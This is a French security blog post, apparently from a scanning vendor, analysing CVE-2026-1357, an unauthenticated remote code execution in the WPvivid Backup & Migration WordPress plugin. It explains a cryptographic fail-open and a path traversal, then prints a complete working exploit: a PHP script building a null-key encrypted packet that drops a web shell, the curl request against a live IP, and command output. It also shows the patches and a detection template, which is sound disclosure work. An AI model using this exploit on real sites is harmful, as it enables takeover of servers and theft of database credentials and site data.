Neutron, notre moteur d’IA, a obtenu un score de 96,75 % sur le benchmark CyberGym de l’UC Berkeley. En savoir plus

Sécurité

Sécurité

CVE-2026-1357 : RCE non authentifiée dans le plugin de sauvegarde WPvivid

Analyse technique de la CVE-2026-1357, une vulnérabilité critique (CVSS 9,8) d'exécution de code à distance non authentifiée dans le plugin WPvivid Backup & Migration (≤ 0.9.123). Deux failles chaînées, un fail-open cryptographique et un path traversal non assaini, permettent une écriture de fichier arbitraire sans identifiants.

CVE-2026-1357

RCE non authentifiée dans le plugin de sauvegarde WPvivid

17 février 2026 · CVSS 9,8 Critical · WPvivid ≤ 0.9.123

CVE ID CVSS Versions affectées Corrigé
CVE-2026-1357 9.8 Critical ≤ 0.9.123 0.9.124+

1. Descente dans le terrier : présentation de la vulnérabilité du plugin WPvivid Backup and Migration

WPvivid Backup & Migration est de ces plugins que l'on retrouve partout sur WordPress : plus de 300 000 installations actives, de bons avis, et il gère la sauvegarde, la migration et le staging. Rien d'exceptionnel en apparence. Ce qui a rendu ce plugin intéressant tient à une seule fonctionnalité : Remote Backup Transfer, qui permet à des sites de s'échanger des données de sauvegarde chiffrées.

Le mot chiffrées porte ici une bonne part du problème. Lorsque la CVE-2026-1357 a été publiée avec une notation critique de 9,8, c'est cette fonctionnalité qui constituait le point d'entrée. Voici une analyse technique du fonctionnement de la vulnérabilité.


2. La crypto qui n'en était pas une : analyse du fail-open RSA de WPvivid dans la CVE-2026-1357

La première faille se trouve dans includes/class-wpvivid-crypt.php, dans la fonction decrypt_message(). Le plugin utilise un schéma hybride RSA + AES : la clé RSA déchiffre une clé symétrique, et cette clé déchiffre ensuite le payload.

Ce n'est pas sécurisé. Voici le code vulnérable :

// class-wpvivid-crypt.php  (v0.9.123)
public function decrypt_message($message) {
    $rsa = new Crypt_RSA();
    $rsa->loadKey($this->public_key);
    $key = $rsa->decrypt($key);       // Returns FALSE on invalid key
    $rij = new Crypt_Rijndael();
    $rij->setKey($key);               // BUG: no check, sets FALSE as key
    return $rij->decrypt($data);      // Decrypts with null-byte key
}

Lorsque le déchiffrement RSA échoue, $rsa->decrypt() renvoie FALSE. Cette valeur de retour n'est jamais vérifiée. Elle est transmise directement à setKey().

Le plugin utilise phpseclib v1. Dans cette version, setKey(FALSE) traite la valeur comme une chaîne vide, qui est complétée en une clé nulle de 16 octets : \x00\x00\x00...\x00. Cette clé est fixe, connue et identique pour chaque installation. Tout attaquant qui pré-chiffre son payload avec cette clé nulle le verra déchiffré avec succès par le plugin, contournant entièrement l'authentification.

Fail-open cryptographique (CWE-755) : l'absence de validation d'un résultat de déchiffrement fait que la fonction retombe sur une clé nulle connue au lieu d'interrompre le traitement. L'attaquant fournit une clé RSA invalide pour déclencher l'échec, puis soumet un payload déjà chiffré avec la clé nulle.


3. Se perdre volontairement : path traversal dans la fonctionnalité Send to Site de WPvivid

La seconde faille se trouve dans includes/customclass/class-wpvivid-send-to-site.php. Après l'étape de déchiffrement (désormais contournée), le plugin lit un nom de fichier dans le payload JSON et construit un chemin de fichier avec celui-ci :

// class-wpvivid-send-to-site.php  (v0.9.123)
public function send_to_site() {
    $params    = json_decode($data, 1);
    $dir       = WPvivid_Setting::get_backupdir();

    // No sanitization of $params['name']
    $file_path = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . $dir . DIRECTORY_SEPARATOR
               . str_replace('wpvivid', 'wpvivid_temp', $params['name']);

    fwrite($handle, base64_decode($params['data']));
}

Pas de basename(). Pas de vérification d'extension. La valeur issue de $params['name'] va directement dans le chemin. En la définissant à "../uploads/shell.php", on obtient /wp-content/uploads/shell.php, un répertoire accessible publiquement et où PHP s'exécute.

Path traversal (CWE-22) : un nom de fichier fourni par l'utilisateur atteint le système de fichiers sans assainissement. Combinée à la faille n°1, une requête non authentifiée peut écrire n'importe quel contenu de fichier à n'importe quel emplacement accessible depuis la racine web.


4. Tout assembler : exploiter la CVE-2026-1357 pour obtenir une exécution de code à distance

L'exploitation se déroule en deux étapes : générer le payload, envoyer la requête.

Étape 1, génération du payload

L'exploit reproduit le comportement de clé nulle de phpseclib v1. Le code reproduit la logique de chiffrement AES avec \x00×16, l'encapsule dans du JSON avec un nom de fichier de traversée, et le préfixe d'une clé RSA invalide pour déclencher le fail-open :

<?php  // exploit.php
require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');

$rijndael = new Crypt_Rijndael();
$rijndael->setBlockLength(128);
$rijndael->setKey(str_repeat("\0", 16));  // 16-byte null key

$shell = '<?php system($_GET["cmd"]); ?>';

$payload = [
    'name'   => '../uploads/pwn_shell.php',  // path traversal
    'data'   => base64_encode($shell),
    'offset' => 0, 'index' => 0, 'type' => 'backup', 'status' => 'running'
];

$enc      = $rijndael->encrypt(json_encode($payload));
$fake_rsa = 'ABC';  // any garbage triggers the fail-open

$packet = str_pad(dechex(strlen($fake_rsa)), 3, '0', STR_PAD_LEFT)
        . $fake_rsa
        . str_pad(dechex(strlen($enc)), 16, '0', STR_PAD_LEFT)
        . $enc;

echo base64_encode($packet);

Étape 2, envoi de la requête

Le payload est envoyé à l'endpoint racine de WordPress via un simple POST. Aucun identifiant, aucune session, aucune préparation préalable requise :

PAYLOAD=$(php exploit.php)
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD', safe=''))")

curl -i -s -X POST "http://209.38.255.159:8090/" \
  -d "wpvivid_action=send_to_site" \
  -d "wpvivid_content=$ENCODED"

Réponse :

HTTP/1.1 200 OK
Date: Tue, 17 Feb 2026 10:38:21 GMT
Server: Apache/2.4.66 (Debian)
X-Powered-By: PHP/8.3.30
Content-Length: 36

{"result":"success","op":"finished"}

Le fichier est bien présent sur le disque. En y accédant :

curl "http://209.38.255.159:8090/wp-content/uploads/pwn_shell.php?cmd=whoami"

www-data

5. Preuve de concept : déroulement de l'exploit RCE de WPvivid et analyse d'impact

La cible exécutait WPvivid v0.9.123, la mise à jour vers 0.9.124 étant disponible mais non encore appliquée.

L'interface d'administration WordPress montrant WPvivid v0.9.123 installé, avec une mise à jour vers 0.9.124 en attente
WPvivid v0.9.123, mise à jour en attente

Après l'exploitation, le fichier déposé répond à des commandes arbitraires avec les privilèges du processus du serveur web.

RCE confirmée : /etc/passwd renvoyé via le fichier déposé
RCE confirmée via le fichier déposé

Impact : avec un accès www-data, un attaquant peut lire wp-config.php pour obtenir les identifiants de la base de données, exfiltrer toutes les données du site, installer une porte dérobée persistante ou pivoter davantage selon la configuration du serveur. La compromission complète de l'installation WordPress est triviale à partir de ce point.


6. Le correctif : corriger la faille de sécurité du plugin WPvivid CVE-2026-1357

La version 0.9.124 corrige indépendamment les deux failles. Corriger l'une ou l'autre suffit à casser la chaîne d'exploitation.

Correctif 1, valider le résultat du déchiffrement

Une simple vérification après $rsa->decrypt() transforme le fail-open en fail-closed. Si le déchiffrement renvoie false ou une clé vide, la fonction interrompt le traitement :

// class-wpvivid-crypt.php  (v0.9.124)
$key = $rsa->decrypt($key);

if ($key === false || empty($key)) {
    return false;  // fail-closed
}

$rij->setKey($key);
return $rij->decrypt($data);

Correctif 2, assainir le nom de fichier et imposer une liste blanche d'extensions

basename() supprime les séquences de traversée de répertoires. Une expression régulière restreint les caractères autorisés. Une liste blanche explicite d'extensions bloque tout fichier exécutable :

// class-wpvivid-send-to-site.php  (v0.9.124)
$safe_name = basename($params['name']);
$safe_name = preg_replace('/[^a-zA-Z0-9._-]/', '', $safe_name);

$allowed = ['zip', 'gz', 'tar', 'sql'];
$ext     = strtolower(pathinfo($safe_name, PATHINFO_EXTENSION));

if (!in_array($ext, $allowed, true)) {
    $ret['error'] = 'Invalid file type.';
    echo wp_json_encode($ret);
    die();
}

7. Détecter la CVE-2026-1357 avec Ostorlab KEV

La CVE-2026-1357 est désormais couverte par la suite de détection Known Exploited Vulnerabilities (KEV) d'Ostorlab. Cette suite exécute des scans automatisés sur les ports ouverts et les services exposés afin d'identifier à grande échelle les vulnérabilités connues et exploitées, en combinant des outils comme Nmap, Tsunami, Asteroid, Nuclei et Metasploit au sein d'un seul groupe d'agents.

Le template Nuclei

Un template Nuclei vérifié a été écrit pour cette CVE et ajouté au dépôt KEV. Il est coécrit par omarkurt et Lucas Montes (NiRoX), le découvreur original de la vulnérabilité. Le template exécute trois requêtes contre la cible :

  • Une requête GET vers le readme.txt du plugin pour confirmer que WPvivid est installé et extraire le numéro de version.
  • Une requête POST vers l'endpoint racine avec un payload d'exploit préconstruit qui déclenche le fail-open et dépose un fichier via path traversal.
  • Une requête GET vers le fichier déposé pour confirmer l'exécution. La détection exige que les trois correspondent : plugin présent, dépôt réussi et fichier qui répond.

Le template est marqué verified: true et classé intrusif : il exploite activement la cible pour confirmer la vulnérabilité, et ne se contente pas de l'identifier par empreinte. Il est inclus dans le groupe d'agents KEV, aux côtés de plus de 200 autres templates couvrant des CVE critiques suivies par la CISA et par l'ensemble de la communauté du renseignement sur les menaces.

Le template complet est disponible dans le dépôt Ostorlab KEV à l'adresse : github.com/Ostorlab/KEV/blob/main/nuclei/CVE-2026-1357.yaml


À retenir

La CVE-2026-1357 illustre de façon simple comment deux bogues individuellement contenables peuvent se chaîner pour atteindre une notation de sévérité critique. Le fail-open cryptographique supprime l'authentification ; le path traversal donne un accès en écriture arbitraire à la racine web. Aucune des deux failles n'est exotique.

Les enseignements défensifs sont tout aussi simples :

  • Toujours valider les valeurs de retour cryptographiques avant de les utiliser comme clés.
  • Ne jamais utiliser une entrée fournie par l'utilisateur directement dans des chemins du système de fichiers.
  • basename() et une liste blanche d'extensions sont des pratiques standard pour la gestion des téléversements de fichiers.
  • Défense en profondeur : corriger les deux couches, pour qu'aucun contournement isolé ne suffise.

Références

Ressource Lien
NVD https://nvd.nist.gov/vuln/detail/CVE-2026-1357
Wordfence https://www.wordfence.com/threat-intel/vulnerabilities/id/e5af0317-ef46-4744-9752-74ce228b5f37
PoC https://github.com/LucasM0ntes/POC-CVE-2026-1357
Plugin https://wordpress.org/plugins/wpvivid-backuprestore/